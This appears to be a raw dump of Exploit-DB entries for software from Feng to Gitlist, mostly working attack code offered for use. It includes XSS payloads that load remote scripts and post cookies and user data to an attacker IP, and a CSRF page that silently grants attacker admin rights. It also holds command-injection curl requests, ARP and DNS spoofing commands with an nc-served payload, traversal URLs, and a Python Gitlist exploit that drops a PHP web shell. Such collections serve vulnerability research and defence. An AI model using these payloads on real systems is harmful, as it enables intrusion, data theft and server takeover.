deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30944
Description: Feng 0.1.15 - Multiple Remote Buffer Overflow / Denial of Service Vulnerabilities
Type: remote
Platform: multiple
Date: 2007-12-27
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27049/info

Feng is prone to multiple remote buffer-overflow and denial-of-service vulnerabilities.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the server application. Attackers may also crash the application, denying service to legitimate users.

Feng 0.1.15 is vulnerable to these issues; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30944.zip
Exploit-DB #29820
Description: Firebug 1.03 - Rep.JS Script Code Injection
Type: remote
Platform: multiple
Date: 2007-03-06
Author: Thor Larholm

Exploit:
source: https://www.securityfocus.com/bid/23349/info

Firebug is prone to a script-code-injection vulnerability because it fails to adequately escape user-supplied data.

An attacker can exploit this issue to execute arbitrary script code in the context of the application.

Versions prior to 1.04 are vulnerable. 

<html> <head> <title>Firebug console HTML injection</title> <style> noscript, .nofirebug{ color: red } </style> </head> <body> <h1>Firebug console HTML injection</h1> <script type="text/javascript"> // A function that returns a specially formatted string function vulnstring(){ return 'function <b style="font-size:80px">foo(<script src="http://larholm.com/vuln/firebuginclude.js"></'+'script>) { }'; } // The function object to log with Firebug var a = function(){}; // Overwrite the default toString method a.toString = vulnstring; // Attempt to trigger the vulnerability if Firebug is installed and has console logging enabled if(typeof console!="undefined" && typeof console.log=="function"){ console.log(a); document.write('<p>Check your Firebug console output. If it says Foo() in very large letters and you get an alert then you are vulnerable and should upgrade to Firebug v1.0.4 or greater.</p>'); } else { // Show error document.write('<p class="nofirebug">This proof of concept exploit requires Firebug to work</p>'); } </script> <noscript><p>This proof of concept exploit requires that Javascript is enabled.</p></noscript> <h3>Cheers, <a href="http://larholm.com/">Thor Larholm</a></h3> </body></html>
Exploit-DB #37851
Description: Flash Boundless Tunes - Universal SOP Bypass Through ActionSctipt's Sound Object
Type: remote
Platform: multiple
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=354&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[90-day deadline tracking for https://code.google.com/p/chromium/issues/detail?id=481639]

---
An instance of ActionScript's Sound class allows for loading and extracting for further processing any kind of external data, not only sound files. Same-origin policy doesn't apply here. Each input byte of raw data, loaded previously from given URL, is encoded by an unspecified function to the same 8 successive sample blocks of output. The sample block consists of 8 bytes (first 4 bytes for left channel and next 4 bytes for right channel). Only 2 bytes from 8 sound blocks (64 bytes) are crucial, the rest 52 bytes are useless. Each byte of input from range 0-255 has corresponding constant unsigned integer value (a result of encoding), so for decoding purposes you can use simply lookup table (cf. source code from BoundlessTunes.as).

1. Put attached file BoundlessTunes.swf on the HTTP server.
2. Open http://<SERVER_HOSTNAME>/BoundlessTunes.swf?url=<URL> where <URL> is an URL address (e.g. leading to cross-origin resource). A received response will be displayed in alert window.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37851.zip
Exploit-DB #34500
Description: Flock Browser 3.0.0 - Malformed Bookmark HTML Injection
Type: remote
Platform: multiple
Date: 2010-08-19
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/42556/info

Flock Browser is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to Flock 3.0.0.4094 are vulnerable.

<!DOCTYPE NETSCAPE-Bookmark-file-1> <!-- This is an automatically generated file. It will be read and overwritten. DO NOT EDIT! --> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>Menú Marcadores</H1> <DL><p> <DT><A HREF="http://www.example.com" ADD_DATE="[PII_REDACTED]" LAST_MODIFIED="[PII_REDACTED]">"><script src='http://www.example.com/thirdparty/scripts/ckers.org.js'></A> </DL><p>
Exploit-DB #19223
Description: FloosieTek FTGate 2.1 - Web File Access
Type: remote
Platform: multiple
Date: 1999-05-25
Author: Marc

Exploit:
source: https://www.securityfocus.com/bid/280/info

A vulnerability in Floosietek's FTGate allows remote malicious users to steal local files.

Floosietek's FTGate is a Win32 mail server program. One of its features is allowing administrators to check the status of the mail server using a web browser via a built-in web server.

The web server fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename. 

http://www.example.com:8080/../newuser.txt
Exploit-DB #28209
Description: FLV Players 8 - 'player.php?url' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-07-12
Author: xzerox

Exploit:
source: https://www.securityfocus.com/bid/18954/info

FLV Player is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 8; other versions may also be vulnerable.

http://www.example.com/flv8/player.php?url=[XSS]
Exploit-DB #28210
Description: FLV Players 8 - 'popup.php?url' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-07-12
Author: xzerox

Exploit:
source: https://www.securityfocus.com/bid/18954/info
 
FLV Player is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
This issue affects version 8; other versions may also be vulnerable.

http://www.example.com/flv8/popup.php?url=%3C/title%3E[XSS] 
http://www.example.com/flv8/popup.php?url=%22%3E%3C[XSS]
Exploit-DB #36013
Description: foomatic-gui python-foomatic 0.7.9.4 - 'pysmb.py' Arbitrary Shell Command Execution
Type: remote
Platform: multiple
Date: 2011-08-03
Author: daveb

Exploit:
source: https://www.securityfocus.com/bid/48982/info

foomatic-gui is prone to a remote arbitrary shell-command-execution vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary shell commands in the context of the application.

Versions prior to foomatic-gui 0.7.9.5 are vulnerable. 

netbios name = oh'notquotezSIF to /etc/samba/smb.conf
Exploit-DB #39222
Description: Foreman Smart-Proxy - Remote Command Injection
Type: remote
Platform: multiple
Date: 2014-06-05
Author: Lukas Zapletal

Exploit:
source: https://www.securityfocus.com/bid/68117/info

Foreman is prone to a remote command-injection vulnerability.

Successful exploits will result in the execution of arbitrary commands with the privileges of the user running foreman-proxy. 

curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://www.example.com:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B'
Exploit-DB #23707
Description: Freeform Interactive Purge 1.4.7/Purge Jihad 2.0.1 Game Client - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-02-16
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9671/info

Freeform Interactive Purge and Purge Jihad game clients have been reported prone to a remotely exploitable buffer overflow condition.

The issue presents itself in the client network connection routines used by the client to negotiate a connection to a Purge/Purge Jihad game server. A malicious game server may exploit this condition to potentially corrupt sensitive process memory in the affected game client and ultimately execute arbitrary code with the privileges of the user who invoked the game.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23707.rar
Exploit-DB #30264
Description: Fujitsu ServerView 4.50.8 - DBASCIIAccess Remote Command Execution
Type: remote
Platform: multiple
Date: 2007-07-03
Author: RedTeam Pentesting GmbH

Exploit:
source: https://www.securityfocus.com/bid/24762/info

Fujitsu ServerView is prone to a remote command-execution vulnerability because it fails to adequately sanitize user-supplied data.

Attackers can exploit this issue to execute arbitrary commands with the privileges of the affected application. Successful attacks will compromise the application and underlying webserver; other attacks are also possible.

Versions prior to Fujitsu ServerView 4.50.09 are vulnerable. 

http://www.example.com/cgi-bin/ServerView/
SnmpView/DBAsciiAccess
?SSL=
&Application=ServerView/SnmpView
&Submit=Submit
&UserID=1
&Profile=
&DBAccess=ASCII
&Viewing=-1
&Action=Show
&ThisApplication=TestConnectivityFrame
&DBElement=ServerName
&DBValue=bcmes
&DBList=snism
&UserValue=
&DBTableList=SERVER_LIST
&Sorting=
&ParameterList=What--primary,,
OtherCommunity--public,,
SecondIP--,,
Timeout--5,,
Community--public,,
ServerName--bcmes,,
Servername--127.0.0.1;id;,, # vulnerable parameter
SType--Server
Exploit-DB #23136
Description: futurewave webx server 1.1 - Directory Traversal
Type: remote
Platform: multiple
Date: 2003-09-10
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/8583/info

It has been reported that FutureWave WebX Server may be prone to a directory traversal issue allow a remote attacker to traverse outside the server root directory in order to retrieve arbitrary files.

This vulnerablity may allow an attacker to gain access to sensitive data that may be used to launch further attacks. 

http://[victim]/../../../anyfile
Exploit-DB #35805
Description: Gadu-Gadu 10.5 - Remote Code Execution
Type: remote
Platform: multiple
Date: 2011-05-28
Author: Kacper Szczesniak

Exploit:
source: https://www.securityfocus.com/bid/48030/info

Gadu-Gadu is prone to a remote code-execution vulnerability.

Successful exploits will allow remote attackers to execute arbitrary code within the context of the affected application.

Gadu-Gadu 10.5 is affected; other versions may also be vulnerable. 

# echo 1 > /proc/sys/net/ipv4/ip_forward
# arp -s GW_IP GW_MAC
# arpspoof -i eth0 GW_IP
# echo "YOURIP *.adocean.pl" > /tmp/x
# dnsspoof -i eth0 -f /tmp/x
# while [ 1 ] ; do echo -ne "HTTP/1.0 200 OK\r\nConnection:
close\r\nContent-Length: 239\r\nContent-Type:
text/html\r\n\r\nb=document.getElementsByTagName(\"body\").item(0);\r\nb.innerHTML='<a
id=\"a\" href=\"c:/windows/notepad.exe\"></a>';\r\na=document.getElementById('a');\r\ne=document.createEvent('HTMLEvents');\r\ne.initEvent('click',
true, true);\r\na.dispatchEvent(e);\r\n" | nc -l 80 ; done
Exploit-DB #35792
Description: Gadu-Gadu Instant Messenger 6.0 - File Transfer Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-05-24
Author: Kacper Szczesniak

Exploit:
source: https://www.securityfocus.com/bid/47957/info

Gadu-Gadu Instant Messenger is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

file name that loads external x.js code:
<input
onfocus="eval(unescape('x%3Ddocument.getElementsByTagName%28%27head%27%29.item%280%29%3By%3Ddocument.createElement%28%27script%27%29%3By.src%3D%27http:%2f%2fasd.pl%2fx.js%27%3Bx.appendChild%28y%29%3B'));this.setAttribute('onfocus',0);"
autofocus>

example x.js code to hide, accept and open every file request:

document.getElementById('extra').innerHTML = '<style>.file,
.entrySeparator{display:none;}</style>';
n = document.getElementById('open_file');
n.setAttribute('id', '');

function ff(){
    if(f = document.getElementById('open_file')) {
        e = document.createEvent("HTMLEvents");
        e.initEvent('click', true, true);
        f.dispatchEvent(e);
        f.setAttribute('id', '');
    }
    setTimeout('ff()', 1000);
}

ff();
Exploit-DB #52200
Description: GestioIP 3.5.7 - Cross-Site Request Forgery (CSRF)
Type: remote
Platform: multiple
Date: 2025-04-14
Author: Maximiliano Belino

Exploit:
# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Cross-Site Request Forgery (CSRF)
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email : max.cybersecurity at belino.com
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50858
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50858

### Description

The GestioIP application has many endpoints and they are vulnerable to CSRF. This allows an attacker to execute actions through the admin's browser on the application if the admin visits a malicious URL hosted by the attacker. These actions can modify, delete, or exfiltrate data from the application.

### Prerequisites

The option "Manage - Manage GestioIP - User Management" must be enabled previously.


### Usage

To exploit this vulnerability, an attacker must host ```payload.html``` on an attacker-controlled web server (python3 -m http.server 8090). When an authenticated administrator goes to the attacker's website, the CSRF will execute making the attacker an administrator.


### File: payload.html
#### example: editing user named 'maxi'


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome to our site</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
}
.container {
margin-top: 50px;
}
iframe {
display: none;
}
</style>
</head>
<body>
<div class="container">
<h1>Thank you for visiting our site!</h1>
<p>We are processing your request, please wait a moment...</p>
<img src="https://placehold.co/150?text=Processing" alt="Processing...">
</div>
<!-- hidden iframe -->

<iframe name="hiddenFrame"></iframe>

<!-- The form that makes the POST to GestioIP Server -->
<form action="[http://localhost/gestioip/res/ip_mod_user.cgi](http://localhost/gestioip/res/ip_mod_user.cgi)" method="POST" target="hiddenFrame">
<input type="hidden" name="name" value="maxi">
<input type="hidden" name="group_id" value="1">
<input type="hidden" name="email" value="maxi@test.com">
<input type="hidden" name="phone" value="123">
<input type="hidden" name="comment" value="">
<input type="hidden" name="client_id" value="1">
<input type="hidden" name="id" value="2">
<input type="hidden" name="B2" value="">
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Exploit-DB #52203
Description: GestioIP 3.5.7 - Cross-Site Scripting (XSS)
Type: remote
Platform: multiple
Date: 2025-04-14
Author: Maximiliano Belino

Exploit:
# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Cross-Site Scripting (XSS)
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email (max.cybersecurity at belino.com)
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50857
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50857

### Description

The `"ip_do_job"` feature of GestioIP 3.5.7 is vulnerable to XSS, leading to data exfiltration and CSRF attacks. Two examples are described below.

### Prerequisites

To successfully exploit the XSS vulnerability, the user must be part of a "User Group" that has the following three permissions:

• Show backuped device configurations (read_device_config_perm)
• Upload device configurations (write_device_config_perm)
• Administrate CM (administrative_cm_perm)



1) vulnerable parameter: `host_id`

http://localhost/gestioip/res/cm/ip_do_job.cgi?client_id=1&host_id='<script>alert("test")</script>'


2) vulnerable parameter: `stored_config`

http://localhost/gestioip/res/cm/ip_do_job.cgi?client_id=1&stored_config='<script>alert("test")</script>'
Exploit-DB #52202
Description: GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS)
Type: remote
Platform: multiple
Date: 2025-04-14
Author: Maximiliano Belino

Exploit:
# Exploit Title: GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS)
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email (max.cybersecurity at belino.com)
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50859
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50859

### Description

The ip_import_acl_csv request is vulnerable to Reflected XSS (Reflected Cross-Site Scripting); the user can upload a file and the file content is reflected in the HTML response without being sanitized. If the file uploaded by the user has an incorrect format and an error occurs during its processing, part of the file's content may be displayed in the browser. If this content includes HTML or scripts and it is not properly escaped, the browser could interpret it, leading to a security vulnerability. This could allow data exfiltration and enabling CSRF (Cross-Site Request Forgery) attacks.
Proper input validation and output encoding are critical to prevent this vulnerability.


### Prerequisites

Enable (set to 'yes') the parameter:

Manage > Manage GestioIP > ACL connection management


### Usage

Select: import/export > Import ACLs/ACL Connections

Select: "Connection List"

Select "report only"

Browse to select the file you want to upload.

Click 'upload'



### Payloads

#### 1) html file to upload

<html><script src="http://10.20.0.1:8090/refxss_exfiltrate_3.js"></script></html>


#### 2) js file to exfiltrate data

var req1 = new XMLHttpRequest();
req1.open('GET',"http://localhost/gestioip/res/ip_show_user.cgi", false);
req1.send();

response = req1.responseText;

var req2 = new XMLHttpRequest();
req2.open('POST', "http://10.20.0.1:8000/steal_data", false);
req2.setRequestHeader('Content-Type', 'text/html');
req2.send(response);
Exploit-DB #52201
Description: GestioIP 3.5.7 - Stored Cross-Site Scripting (Stored XSS)
Type: remote
Platform: multiple
Date: 2025-04-14
Author: Maximiliano Belino

Exploit:
# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Stored Cross-Site Scripting
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email: max.cybersecurity at belino.com
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50861
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50861

### Description

The http://localhost/gestioip/res/ip_mod_dns_key_form.cgi feature of GestioIP 3.5.7 is vulnerable to Stored XSS. An authenticated attacker with appropriate permissions can inject malicious code into the tsig_key form field and save it to the database. Once saved, any user who accesses the "DNS Key" page will trigger the Stored XSS, leading to the execution of malicious code.

### Prerequisites

1. Enable "DNS Key" Feature
First, ensure that "Dynamic DNS updates" is enabled in the global configuration:

Manage > Manage GestioIP > Global Configuration > Dynamic DNS updates enabled: yes

This will enable the following menus:

    Manage > DNS Keys
    Manage > DNS Update User

2. Create a DNS Key Entry

To create a new DNS key entry and also edit an existing one, the user must belong to a group with the "Manage Sites And Categories" permission. By default, "Admin" and "GestioIP Admin" groups have this permission.

Also, you can configure this permission to any group under:

Manage > User Groups > Manage Sites and Categories

3. Enter payload.

Once group permission is set, input one of the following payloads into the "TSIG Key" (tsig_key) field and save it.


### Payloads

1 - Test basic XSS

<script>alert("test")</script>


2 - Send data (cookies) to the attacker's server

<svg/onload="fetch('http://10.20.0.1:8000/steal_data',{method:'POST',body:document.cookie})">


3 - Redirect the user to a malicious site

<svg/onload="window.location='http://10.20.0.1:8090/malicious_page.html'">
Exploit-DB #33929
Description: Gitlist 0.4.0 - Remote Code Execution
Type: remote
Platform: multiple
Date: 2014-06-30
Author: drone

Exploit:
from commands import getoutput
import urllib
import sys

""" 
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511
"""

if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]

path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
    path = sys.argv[2]

print '[!] Using cache location %s' % path

# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)
if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
    print '[-] Failed to drop'
    print out